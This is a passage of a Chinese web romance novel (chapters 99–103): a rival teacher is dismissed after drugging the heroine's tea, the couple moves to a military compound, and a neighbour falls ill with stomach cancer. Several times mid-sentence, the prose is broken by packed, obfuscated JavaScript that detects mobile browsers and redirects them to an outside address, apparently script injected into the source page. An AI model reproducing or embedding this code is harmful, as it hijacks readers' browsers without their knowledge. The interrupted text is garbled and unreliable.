“我没做过。”她咬着牙,“这是诬陷!” 主任摇摇头,“有没有做过,你自己心里清楚。苏老师,收拾东西走吧。别让保安来请。” 苏荷雨站在那儿,浑身发抖。 她张了张嘴,想争辩,可什么都说不出来。 最后她转身就往外冲。 “苏老师!”人事部的同志在后头喊,“你去哪儿?” 苏荷雨没理她,一口气跑到主任办公室门口,推开门就要往里闯。 她不服。 她是大学生,鄂州师范毕业的,凭什么就这么被辞退? 她倒要问问,那个举报的人是谁,有什么证据。 门推开,她愣住了。 主任的办公桌对面,坐着一个人。 黑色大衣,棱角分明的脸,那双眼睛黑沉沉的,正看着她。 越靳临。 苏荷雨僵在门口,像被人钉在地上。 主任抬起头,看了她一眼,“苏老师?你怎么还没走?” 苏荷雨没理他,只是盯着越靳临。 越靳临也看着她,脸上没什么表情。 那眼神,冷冷的,像在看一个死人。 苏荷雨忽然明白了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350441|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>是他。 是他搞的鬼。 她咬着嘴唇,眼眶红了,声音发颤,“是你……是你举报我的?” 越靳临没说话,只是看着她。 苏荷雨往前走了一步,“你凭什么?你有什么证据?你一个干工地的,凭什么——” “够了。”主任打断她,脸色沉下来,“苏老师,你再胡闹,我只能叫保安了。” 苏荷雨转过头,看着他,“主任,你不能听他的!他就是一个干工地的,他有什么资格——” “他是谁,跟你没关系。”主任站起来,走到门口,“保安!” 两个穿制服的保安走过来。 苏荷雨被架着往外拖,她拼命挣扎,回过头,盯着屋里那个人。 越靳临坐在那儿,端起桌上的茶杯,喝了一口。 从头到尾,没再看她一眼。 门关上了。 办公室里安静下来。 主任走回来,在他对面坐下,叹了口气。 “越同志,”他斟酌着开口,“这事……你看这样处理,行不行?” 越靳临放下茶杯,“行。” 主任松了口气,“那就好。那个……那个举报的事,我们会按程序走。她以后想在鄂州教书,是不可能了。” 越靳临点点头,站起来。 “麻烦了。”他说。 主任赶紧摆手,“不麻烦不麻烦。应该的。” 越靳临走到门口,忽然又回过头。 “对了,”他说,“她那个朋友曾晶晶,家里开厂子的。回头让工商局的同志去看看,有没有什么问题。” 主任愣住了。 等他回过神来,门已经关上了。 他坐在那儿,盯着那扇门,心里直打鼓。 这人到底什么来头? 一个电话,局长亲自打的招呼。 一张嘴,工商局那边就得去查。 他擦了擦额头的汗,不敢往下想了。 师范学院门口,苏荷雨被保安架出来,扔在路边。 她站在那儿,风刮在脸上,凉飕飕的。 周围路过的学生偷偷看她,交头接耳说着什么。 她攥紧拳头,指甲掐进掌心,掐得生疼。 凭什么? 她一个大学生,凭什么被一个乡下丫头的男人搞成这样? 第九十九章 出气 槐花胡同,三号楼。 苏念橙睡了一整天,醒来的时候,天已经黑了。 她躺在床上,盯着天花板,发了会儿呆。 浑身还是酸的,动一下就疼。 可心里那股甜丝丝的感觉,怎么也压不下去。 她翻了个身,把脸埋进枕头里,嘴角忍不住往上弯。 楼下传来开门的声音。 她竖起耳朵听。 脚步声,上楼的脚步声。 她赶紧闭上眼睛装睡。 门被推开,脚步声停在床边。 她感觉到他坐下来,床垫往下陷了陷。 然后一只手伸过来,轻轻拨开她额前的碎发。 “醒了?”他问,声音低沉。 苏念橙睁开眼,对上他那双黑沉沉的眼睛。 他看着她,嘴角弯了弯。 “装睡?” 苏念橙脸一红,“你怎么知道?” “睫毛抖得厉害。”他说。 苏念橙咬了咬嘴唇,没说话。 他伸手,把她从被子里捞出来,抱进怀里。 “饿不饿?”他问。 苏念橙点点头,“有点。” “那起来吃饭。”他松开她,“我买了你爱吃的炸糕。” 苏念橙眼睛亮了,坐起来,又想起什么,低头看了看自己。 睡衣还在,整整齐齐的。 她松了口气,下了床。 腿刚沾地,就软了一下。 他一把扶住她,“慢点。” 苏念橙脸更红了,低着头,扶着他的胳膊,慢慢下楼。 桌上摆着几样菜,红烧肉,炒青菜,还有一碗热气腾腾的汤。 炸糕用油纸包着,放在边上。 两人坐下吃饭。 苏念橙吃了两口,忽然想起什么,抬起头。 “你上午去哪儿了?” 越靳临筷子顿了顿,“处理点事。” 苏念橙眨眨眼,“什么事?” 他看着她,沉默了两秒。 “苏荷雨被辞退了。”他说。 苏念橙愣住了。 “什么?” “师范学院的老师,”他说,“下午刚通知的。” 苏荷雨被辞退了? 那个被苏国强捧在手心里的金凤凰,被辞退了? 她想起昨天那杯茶,那股从里往外烧的热意,要不是越靳临在…… 心里那点不忍,瞬间没了。 “活该。”她说。 越靳临看着她那副样子,嘴角弯了弯。 “还有曾晶晶。”他说,“她家的厂子,回头工商局会去查。” 苏念橙愣住了。 她看着他,那双黑沉沉的眼睛里看不出什么。 可她忽然明白,他今天出去,是为了给她出气。 心里像被什么东西塞得满满的。 转念一想,又觉得不对劲。 “你怎么做到的?”她问,“曾晶晶家里不是挺厉害的吗?开厂子的。” 越靳临夹了块红烧肉放到她碗里,“再厉害也得守规矩。工商局查账,查出问题就得停业整顿。” 苏念橙眨眨眼,“可人家凭什么听你的?” 越靳临放下筷子,看着她。 “我在军区大院长大的。”他说,“那些邻居,都是我爸的战友。我爸虽然走了,但情分还在。托人办点事,不难。” 苏念橙愣住了。 她想起老太太住的那个大院,门口站着哨兵,一栋栋小楼整整齐齐。 “所以……”她顿了顿,“你认识的人,都是当官的?” 越靳临想了想,“也不全是。有当官的,有做生意的,有教书匠。就是认识的人多点。” 苏念橙盯着他看了好几秒,忽然笑了。 “原来你也是个有背景的。”她说,眼睛弯成月牙。 越靳临被她那笑晃得心里一软,“算不上背景,就是认识几个人。” 苏念橙站起来,绕过桌子,走到他面前。 他仰起头,看着她。 她弯下腰,在他脸颊上亲了一下。 “奖励你的。”她说,脸红红的。 越靳临愣了一下,随即嘴角弯了弯。 他伸手,把她拉进怀里,让她坐在自己腿上。 “就亲一下?”他问,声音低低的。 苏念橙脸更红了,推了他一把,“吃饭呢。” “吃完了。”他说。 苏念橙低头一看,自己碗里还剩半碗饭。 “还没吃完。”她指着碗。 越靳临笑了,“那等你吃完。” 苏念橙从他怀里挣出来,坐回自己位置上,埋头继续吃。 可耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350442|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵尖红透了。 等碗底空后,她的胳膊就又被人拽了过去。 …… 另一边,何家。 苏荷雨推开门,脸色白得吓人。 何钧礼正坐在桌边看图纸,听见动静抬起头。 看见她那副样子,他眉头皱了皱。 “你这是怎么了?失魂落魄的。”他放下报纸,站起来。 苏荷雨看见他,眼眶一红,眼泪哗地掉下来。 “钧礼……”她扑进他怀里,哭得上气不接下气。 何钧礼愣住了,赶紧搂住她,“别哭别哭,出什么事了?” 苏荷雨哭了好一会儿,才抽噎着开口。 “我被辞退了……”她抬起头,眼眶红红的,“学校把我辞退了……” 何钧礼愣住了。 “辞退?”他眉头皱得更紧,“为什么?你教得好好的,凭什么辞退你?” 苏荷雨咬着嘴唇,眼泪还在流。 “是苏念橙……”她声音发颤,“她让她男人搞的鬼。她男人认识教育局的人,一个电话就把我工作弄没了……” 何钧礼脸色沉下来。 “那个干工地的?”他问。 苏荷雨点点头,靠在他怀里,“钧礼,我该怎么办啊?我好不容易才当上老师,现在什么都没了……” 何钧礼搂着她,“简直欺人太甚!”作势就要起身出门,“我这就去找他们理论!” 苏荷雨眼疾手快拉住他,哭道:“钧礼,你别去找他们。那人我们惹不起,我不想连累你……” 何钧礼脸色更难看了。 惹不起? 一个干工地的,他何钧礼惹不起? 他攥紧拳头,指节泛白。 “你放心。”他低头看着苏荷雨,声音低沉,“这事不会就这么算了。他们欺负你,我早晚替你讨回来。” 苏荷雨靠在他怀里,点点头,眼泪还在流。 可嘴角,微微勾了勾。 她是被辞退了,这份工作做不成她大可以换一个。 只要让何钧礼看清苏念橙的嘴脸,她也不算白挨。 一周后。 苏念橙上完补习班,骑着自行车往家走。 天冷得很,她把围巾往上拉了拉,遮住半张脸。 拐进槐花胡同,她愣住了。 第一百章 让你选 楼下停着辆吉普车,几个人穿着中山装,拿着尺子和本子,正在量来量去。 越靳临站在旁边,跟一个戴眼镜的中年男人说着什么。 看见她回来,他朝她招招手。 苏念橙停好车,走过去。 “这是……”她看着那些人。 “政府的人。”越靳临说,“来量房子的。” 那个戴眼镜的男人笑着跟她打招呼,“同志好。我们是规划局的,来核对面积。你们这栋楼,过完年就要拆了。” 苏念橙点点头,站在越靳临旁边,看着那些人量来量去。 量了好一会儿,那男人才收起本子,走过来。 “越同志,”他说,“面积核对完了。补偿款按政策算,回头会有人来跟你们对接。” 越靳临点点头,“麻烦了。” “不麻烦不麻烦。”那人摆摆手,带着几个人上了吉普车,开走了。 苏念橙看着那辆车消失在胡同口,转过头,看着越靳临。 “拆迁了,咱们住哪儿?”她问。 越靳临低头看着她,“你想住哪儿?” 苏念橙愣了一下,“我?” “嗯。”他说,“你想住哪儿,咱们就买哪儿的房子。” 苏念橙眨眨眼。 她想起他那些门面,还有他每个月收的房租。 有钱真好。 她笑了笑,“我都行呀,有地方住就行。” 越靳临伸手,勾了勾她的鼻尖。 “让你选,你就选。”他说,“别什么都行。” 苏念橙想了想,有点犯难。 “我不知道呀。”她说,“我对这边也不是特别熟。” 越靳临看着她那副认真的样子,嘴角弯了弯。 “那改天我带你去看看。”他说,“先四处转转,看中哪儿的房子,咱们就买。” 苏念橙点点头,“好。” 她忽然想起什么,“对了,这段时间咱们住哪儿?” 越靳临想了想,“要不先回大院住一阵子?奶奶一个人,也怪冷清的。” 苏念橙眼睛亮了,“好啊。奶奶肯定高兴。” “那就这么定了。”他说,“这几天收拾收拾,搬过去。” 苏念橙点点头,“好。” 接下来几天,两人开始收拾东西。 苏念橙东西少,几件衣服,几本书,一个木盒子,很快就打包好了。 越靳临那边东西多点,但也收拾得利索。 第三天下午,苏念橙把最后几样杂物装进袋子里,拎着下楼去丢。 垃圾池在胡同口,她丢完东西,拍拍手,往回走。 刚走到楼门口,脚步顿住了。 何钧礼站在几步外,穿着那件深灰色大衣,脸黑沉沉的,正看着她。 苏念橙眉头皱了皱,想绕开他往里走。 刚迈出一步,胳膊就被攥住了。 “苏念橙。”他声音沉沉的,带着股压抑的怒意。 苏念橙甩开他的手,往后退了一步。 “你干什么?”她看着他,声音冷下来。 何钧礼盯着她,那眼神复杂得很。 “苏念橙,”他开口,“你这个恶毒的女人。” 苏念橙愣住了。 “有什么事冲我来,”他往前走了一步,“你为什么欺负荷雨?” 苏念橙看着他,忽然笑了。 那笑意不达眼底,反倒让人觉得冷。 “何钧礼,”她开口,“你哪只眼睛看见我欺负她了?” 何钧礼咬着牙,“她工作没了,不是你搞的鬼?” 苏念橙看着他,“她工作没了,是她自己作的。跟我有什么关系?” “你还狡辩?”何钧礼脸色更难看了,“她亲口说的,是你男人找的人,把她工作弄没的。” 苏念橙深吸一口气,把那点翻涌的情绪压下去。 “何钧礼,”她一字一顿,“你知道她为什么被辞退吗?” 何钧礼愣了一下。 苏念橙看着他,声音平静,“元旦晚会那天,她在我的茶里下了药。她想让我当众出丑,被人糟蹋。” 何钧礼愣住了。 “你……你说什么?” 苏念橙看着他那张脸,忽然觉得可笑。 “怎么?不信?”她说,“你可以去问问佩佩,她亲眼看见的。” 何钧礼站在原地,脸上青一阵白一阵。 苏念橙没再理他,转身往里走。 “苏念橙!”他在身后喊。 她没回头。 “就算荷雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354628|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了错事,”他的声音从身后传来,“你也不能这么对她!她好不容易才当上老师,你知道这份工作对她多重要吗?” 苏念橙停下脚步。 她回过头,看着他。 “何钧礼,”她开口,声音冷得像冬天的井水,“她下药害我的时候,怎么没想过这份工作对她多重要?” 何钧礼张了张嘴,说不出话来。 苏念橙看着他,“我知道你想说什么。你想说,她只是一时糊涂,她不是故意的。可你知道吗?要不是越靳临在,那天晚上我被人糟蹋了,谁来替我讨公道?” 何钧礼低下头,没说话。 苏念橙看着他,忽然觉得索然无味。 “何钧礼,”她说,“你护着她,是你的事。但你别来指责我。我没做错任何事,也没有义务受你无缘无故的编排。” 她转身就走。 “苏念橙。”何钧礼又喊了一声。 她没回头。 他站在原地,看着她的背影消失在楼道里。 风吹过来,凉飕飕的。 他忽然蹲下来,把脸埋进膝盖里。 那天晚上,他怎么就没看出来? 她脸红成那样,他就该想到的。 可他什么都没做。 他甚至还护着苏荷雨,替她说话。 他想起刚才苏念橙看他的那个眼神。 冷的,失望的,像在看一个陌生人。 比陌生人还不如。 他忽然觉得心里像被什么东西狠狠攥了一下。 疼得喘不过气。 苏念橙上了楼,推开门。 屋里,越靳临正坐在沙发上,手里拿着本书。 看见她进来,他抬起头,“丢个垃圾怎么这么久?” 苏念橙走过去,在他旁边坐下。 “碰见何钧礼了。”她说。 越靳临眉头皱了皱,“他又来找你麻烦?” 苏念橙摇摇头,“没事,怼了他几句。” 她靠在他肩上,闭上眼睛。 “累不累?”他问。 苏念橙摇摇头,“不累。就是有点烦。” 他伸手,揽住她的肩。 “别理他们。”他说,“快搬走了,以后也见不着。” 苏念橙点点头,嗯了一声。 第一百零一章 回大院 另一边,何钧礼站在原地,风吹得他大衣下摆猎猎作响。 苏念橙那句话像根刺扎在心里,拔不出来。 下药。 当众出丑。 被人糟蹋。 他攥紧拳头,指节泛白。 可他又想起苏荷雨昨晚靠在他怀里哭的样子,眼眶红红的,声音发颤,说自己冤枉。 他闭上眼,深吸一口气。 算了。 苏荷雨已经被辞退了,丢了工作,也算受了惩罚。 再去质问,又能怎样? 他睁开眼,转身往单位走。 图纸还等着画,工地那边催得急,没时间想这些。 他加快脚步,把那些乱七八糟的念头甩在身后。 —— 城东,国营饭店。 苏荷雨坐在靠窗的位子,面前摆着碗面,一口没动。 曾晶晶推门进来,在她对面坐下。 “荷雨,等久了吧?”她脱下手套,搓了搓手,“外头真冷。” 苏荷雨抬起头,眼眶红红的。 “晶晶,”她开口,声音发颤,“我被辞退了。” 曾晶晶脸上的笑僵了一瞬。 “我听说了。”她低下头,搅着碗里的面,“荷雨,这事……我也没办法。那个姓越的,太狠了。” 苏荷雨愣住了。 “什么意思?”她盯着曾晶晶,“他找你了?” 曾晶晶点点头,眼神躲闪,“找我了。他说……以后再敢动苏念橙,就让我在整个鄂州呆不下去。” 她顿了顿,抬起头,“荷雨,咱们算了吧。那人惹不起。” 苏荷雨攥紧筷子,指节泛白。 “算了?”她声音拔高了些,“凭什么算了?她毁了我工作,你让我就这么算了?” 曾晶晶叹了口气,“那能怎么办?我二姨那边,听说也要提前退休了。我爸的厂子,工商局的人三天两头来查。再闹下去,我们家也得完。” 苏荷雨愣住了。 她看着曾晶晶那张脸,想从她脸上看出点什么。 可什么都看不出来。 只有躲闪。 “晶晶,”她放软了声音,“咱们不是最好的朋友吗?你就这么看着我被人欺负?” 曾晶晶低下头,“荷雨,我不是不帮你。是帮不了。” 她顿了顿,从包里掏出张纸条,递过去。 “这是我爸厂里的地址。”她说,“他们招文员,一个月二十五块,管午饭。你先干着,总比没工作强。” 苏荷雨看着那张纸条,没接。 曾晶晶把纸条塞到她手里,“荷雨,听我一句劝。别跟她们斗了,斗不过的。” 她站起来,穿上大衣,“我下午还有事,先走了。你……你保重。” 苏荷雨坐在那儿,看着她的背影消失在门口。 攥着那张纸条,指甲掐进掌心。 曾晶晶也怕了。 她最好的朋友,也怕了。 她低下头,盯着那张纸条,眼眶红了。 可眼泪没掉下来。 她咬着嘴唇,把那股酸意憋回去。 文员就文员。 二十五块就二十五块。 她就不信,这辈子翻不了身。 她站起来,把钱压在桌上,推门出去。 外头风大,吹得她头发乱飞。 她裹紧围巾,往公共汽车站走。 走了几步,她停下脚步,回头看了一眼。 国营饭店那扇门,还开着。 她收回目光,加快脚步。 苏念橙。 咱们走着瞧。 …… 翌日清晨,苏念橙和越靳临已经收拾好了东西。 槐花胡同三号楼。 苏念橙把最后几本书装进纸箱,用胶带封好。 “好了。”她站起来,拍拍手,“都收拾完了。” 越靳临走过来,看了看那几个纸箱,“就这些?” 苏念橙点点头,“嗯。我东西本来就少呀。” 他伸手揉了揉她的头发,“那走吧,车在外头等着了。” 两人把纸箱搬下楼,装进吉普车后斗。 这辆吉普车,她也是前两天才见到,越靳靳和她说是大院配给他们家的,她当时还觉得惊讶。 苏念橙爬上副驾驶,系好安全带。 越靳临发动车子,往军区大院开。 路上没什么人,积雪还没化完,路两边堆着白。 苏念橙看着窗外,忽然想起刚来省城那天。 一个人拎着破帆布包,站在火车站门口,又累又饿,心里慌得很。 现在…… 她偏头看了一眼旁边开车的男人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354629|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>他专注地看着前面的路,侧脸被阳光照得棱角分明。 她嘴角弯了弯。 现在不一样了。 她有人陪着,有地方住,有饭吃,有用不完的两票,对未来也充满期待。 车子拐进军区大院,在老太太那栋小楼前停下。 老太太早就在门口等着了,看见他们下车,眼睛一亮。 “念橙!”她迎上来,拉着苏念橙的手,“可算把你们盼回来了!” 苏念橙笑了,“奶奶,往后可要麻烦您了。” “麻烦什么?”老太太瞪她一眼,“这儿就是你家。走,进屋,奶奶炖了排骨汤。” 她拉着苏念橙往里走,把越靳临晾在后头。 越靳临摇摇头,把纸箱搬下来,跟进去。 屋里烧着炉子,暖烘烘的。 老太太张罗着倒水拿点心,苏念橙帮着收拾。 越靳临把纸箱搬上二楼,下来的时候,两人正说得热闹。 “念橙晚上还去上课?”老太太问。 苏念橙点点头,“嗯,快考试了,得抓紧。” “那吃了饭再走。”老太太站起来,“我去热菜。” “奶奶我来。”苏念橙跟着进了厨房。 越靳临坐在沙发上,听着厨房里传来说笑声,嘴角弯了弯。 吃完饭,苏念橙看看表,“我得走了,快迟到了。” 越靳临站起来,“我送你。” “不用,”苏念橙摆摆手,“大院这里离的更近,就几步路,我自己去就行。你在家陪奶奶。” 老太太在旁边接话,“就是,就几步路,让她自己去。” 越靳临点点头,“那行,早点回来。” 苏念橙嗯了一声,围上围巾,推门出去。 外头天已经黑了,路灯亮着昏黄的光。 她裹紧外套,往大院门口走。 刚走到门口,脚步忽然顿住了。 对面那栋小楼门口,有个人影直直倒下去。 “砰”的一声闷响。 苏念橙愣住了。 她下意识往那边跑过去。 路灯下,一个中年女人躺在地上,脸色苍白,闭着眼睛。 苏念橙认出那张脸。 陈芳婷的母亲。 这几天越靳临跟她讲过院里的人,她记得。 第一百零二章 癌症 “阿姨!”苏念橙蹲下来,扶起那人的头,“阿姨,您醒醒!” 没反应。 她心跳漏了一拍,抬头大喊:“来人啊!有人晕倒了!” 周围几栋楼的灯陆续亮起来。 有人推门出来,跑过来。 “怎么了?” “陈老师晕倒了!” “快送医院!” 苏念橙急得手心冒汗,蹲在那儿不敢动那人的身子,只能扶着她的头。 越靳临不知道什么时候跑过来了,在她身边蹲下。 “怎么回事?” 苏念橙抬起头,眼眶都红了,“我不知道,我刚走到门口就看见阿姨倒下来了……” 越靳临看了一眼地上的人,当机立断,“别动她,我去开车。” 他转身就跑。 不一会儿,吉普车开过来,停在路边。 几个邻居帮忙把人抬上车。 苏念橙跟着上了后座,让陈母靠在自己身上。 越靳临发动车子,往鄂州医院开。 路上,苏念橙一直盯着怀里那张苍白的脸,心跳得厉害。 她想起母亲临走那几天,也是这么苍白,这么虚弱。 眼眶忽然酸了。 “会没事的。”越靳临的声音从前头传来,低沉平稳。 苏念橙深吸一口气,点点头。 车子在鄂州医院门口停下。 几个护士推着担架车跑出来,把陈母抬上去,推进急诊室。 苏念橙站在走廊里,手心全是汗。 越靳临走过来,揽住她的肩,“别怕,有医生在。” 苏念橙靠在他身上,没说话。 走廊那头传来急促的脚步声。 陈芳婷从学校赶过来,她脸白得吓人,眼眶红红的。 “我妈呢?”她声音发颤。 苏念橙指了指急诊室,“在里面。” 陈芳婷冲到急诊室门口,想推门,又停住。 她转过身,看着苏念橙,“怎么回事?我妈怎么会晕倒?” 苏念橙摇摇头,“我也不知道。我准备去上课,刚走到大院门口,就看见阿姨倒下来了。” 陈芳婷咬着嘴唇,眼泪在眼眶里打转。 急诊室的门开了。 一个穿白大褂的医生走出来,手里拿着病历夹。 陈芳婷冲上去,“医生,我妈怎么样?” 医生看了她一眼,“你是病人家属?” 陈芳婷点头,“我是她女儿。” 医生叹了口气,“情况不太好。初步诊断是胃癌,需要进一步检查确认。” 陈芳婷愣住了。 她站在那儿,像被人钉在地上。 “胃癌?”她声音发颤,“怎么可能……我妈一直好好的……” 医生又说了几句什么,她没听进去。 苏念橙走过去,扶住她的胳膊。 陈芳婷偏过头,看着她。 那眼神,茫然得很。 “念橙……”她开口,声音发颤,“我妈……我妈得了癌症……” 苏念橙心里一酸,扶着她坐到长椅上。 陈芳婷坐在那儿,低着头,肩膀开始抖。 她没出声,就那么抖着。 走廊那头又传来脚步声。 萧文彦快步走过来,穿着白大褂,胸口别着名牌。 他跑到陈芳婷面前,蹲下来,看着她。 “芳婷。”他叫她的名字。 陈芳婷抬起头,眼眶红红的,眼泪糊了一脸。 萧文彦看着她那副样子,眉头皱了皱。 他伸手,握住她的手。 “别怕。”他说,“我在。” 陈芳婷愣了一下。 萧文彦看着她,声音温和,“阿姨的事,我会帮忙。胃癌不是绝症,能治。我认识几个这方面的专家,可以请他们来会诊。” 陈芳婷眼泪掉得更凶了。 她忽然反握住他的手,攥得紧紧的。 “萧文彦……”她声音发颤,“求你救救我妈……求你了……” 萧文彦看着她,那双温和的眼睛里闪过心疼。 “好。”他说,声音低低的,“我保证。” 走廊那头又传来脚步声。 周文静和蒋毅明跑过来,喘着气。 “怎么样了?”周文静问,“陈姨怎么样?” 陈芳婷抬起头,看着她,张了张嘴,说不出话来。 周文静看她那副样子,心里一沉。 她走过去,在陈芳婷另一边坐下,揽住她的肩。 蒋毅明站在旁边,搓着手,不知道说什么好。 越靳临走过来,低声把事情说了。 周文静听完,眼眶也红了。 她抱紧陈芳婷,“芳婷,别怕。有我们在呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354630|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈芳婷靠在她肩上,终于哭出声来。 苏念橙站在旁边,看着这一幕。 她忽然想起自己母亲走的时候,身边一个人都没有。 那时候她才六岁,什么都不懂。 只知道母亲睡着睡着,就再也没醒过来。 她低下头,攥紧拳头。 一只手伸过来,握住她的手。 她抬起头。 越靳临站在她身边,低头看着她。 那双眼眸黑沉沉的,却让人莫名安心。 “没事。”他说。 苏念橙点点头,靠在他身上。 急诊室的门又开了。 护士推着担架车出来,陈母躺在上面,脸色苍白,还没醒。 陈芳婷站起来,冲过去。 “妈!”她趴在担架车边上,眼泪又掉下来。 护士把人推进病房。 几个人跟在后头,站在病房门口。 萧文彦去安排会诊的事,蒋毅明跟着去帮忙。 周文静扶着陈芳婷,在病床边坐下。 苏念橙站在门口,看着病床上那张苍白的脸。 她想起自己母亲最后的样子。 也是这么苍白,这么虚弱。 她眼眶一酸,转过身。 越靳临站在她身后,伸手把她揽进怀里。 她趴在他胸口,没说话。 他也没说话。 只是抱着她,一下一下拍着她的背。 病房里,陈芳婷握着母亲的手,眼泪无声地流。 萧文彦推门进来,走到她身边,蹲下来。 “会诊安排在明天上午。”他低声说,“专家从京海赶过来,明天下午到。” 陈芳婷抬起头,看着他。 眼眶红红的,脸上全是泪痕。 “谢谢你。”她说,声音哑得厉害。 萧文彦摇摇头,伸手抹掉她脸上的泪。 “别哭。”他说,“一切都会好起来的。” 陈芳婷愣了一下。 她看着他,那双温和的眼睛里,有心疼,有担忧,还有别的什么。 她忽然想起那天在车上,她说他多管闲事。 他什么都没说,只是把她送到学校。 现在她最无助的时候,他第一个跑过来,蹲在她面前,帮她解决问题。 她低下头,眼泪又掉下来。 他人挺好。 第一百零三章 你结婚了? 从医院出来,天已经完全黑了,距离上课还有一点时间。 越靳临开着车,苏念橙坐在副驾驶,偏头看着窗外。 路灯一盏盏往后退,昏黄的光映在玻璃上,模模糊糊的。 她脑子里还在想刚才病房里那一幕。 眼眶有点酸。 她眨了眨眼,把那点酸意憋回去。 “想什么呢?”旁边传来低沉的声音。 苏念橙回过神,偏头看向越靳临。 他专注地看着前面的路,侧脸被路灯照得半明半暗。 “没什么。”她摇摇头,“就是想起我妈了。” “有空我陪你去看看妈。”他伸手,握了握她的手。 手心干燥温热,指节有力。 苏念橙心里一暖,反握住他的手,“好,等过阵子吧。” “嗯。” 车子在师范学院门口停下。 苏念橙解开安全带,正要下车,手又被拉住了。 她回过头。 越靳临看着她,“下课我来接你。” 苏念橙点点头,“好。” 她推开车门下去,刚关上门,就感觉到几道目光落在自己身上。 校门口站着好几个补习班的同学,正往这边看。 那辆吉普车太显眼了,锃亮的黑色,在这年头可不多见。 苏念橙低下头,快步往校门里走。 “念橙!”身后有人喊她。 她回过头,苏昭昭跑过来,圆脸被风吹得红扑扑的,眼睛亮亮的。 苏昭昭是她上补习班一个多月来认识的同学。 “念橙,刚才那是谁啊?”她凑过来,压低声音,眼里满是好奇,“开吉普车的!那可是军区大院的人才能开的!” 苏念橙愣了一下,“你认识那车?” “我表哥在部队当兵,他跟我说的。”苏昭昭挽着她的胳膊,“念橙,没想到你家里这么有钱啊?深藏不露!” 苏念橙赶紧摆手,“没有没有,那不是我的——” “念橙。” 又一个声音从身后传来。 两人回过头。 江月站在几步外,穿着件洗得发白的旧棉袄,脸上带着笑。 她走过来,目光往校门口那辆吉普车瞟了一眼,又看向苏念橙。 “念橙,”她笑得温柔,“刚才那男的是谁啊?长得真俊。” 苏念橙看着她那张脸,心里忽然有点说不出的感觉。 这一个月来,她和江月也算认识。江月话不多,总是安安静静的,对人客气,挺招人喜欢。 可这会儿她那个眼神,让她有点不舒服。 “我男人。”苏念橙说。 江月愣了一下,眼里的笑意顿了顿。 “你男人?”她重复了一遍,脸上的笑有点僵,“你结婚了?” 苏念橙点点头,“嗯。” 苏昭昭在旁边瞪大了眼睛,“念橙你结婚了?你怎么没说过?” “你们也没问过啊。”苏念橙笑了笑。 苏昭昭眨眨眼,还想再问,上课铃响了。 三个人赶紧往教室里走。 江月走在最后,忍不住又回头看了一眼。 那辆吉普车还停在校门口,黑漆漆的,在路灯下格外显眼。 她想起那天在卖炸糕的小摊上,那个男人就站在她前面,穿着件深灰色大衣,背影宽厚,侧脸棱角分明。 她看了好几眼,没敢上去说话。 后来他买完炸糕就走了,她盯着他的背影看了很久。 没想到是他。 更没想到是苏念橙的男人。 她收回目光,低下头,跟着进了教室。 两节课很快就过去了。 下课铃响的时候,苏念橙揉了揉发酸的手腕,收拾好东西往外走。 苏昭昭跟在她旁边,还在念叨刚才那辆车,“念橙,等会儿你男人还来接你吗?能让我看看不?” “能的吧。”苏念橙笑了笑。 何佩佩从后头追上来,“念橙,等等我!” 三个人一块儿往校门口走。 江月也快速收拾好东西,也跟了上去。 刚走出教学楼,就看见门口停着那辆黑色吉普车。 越靳临站在车旁边,换了件黑色棉袄,围着她织的那条蓝白围巾。 路灯的光落在他身上,把他棱角分明的脸照得更加清晰。 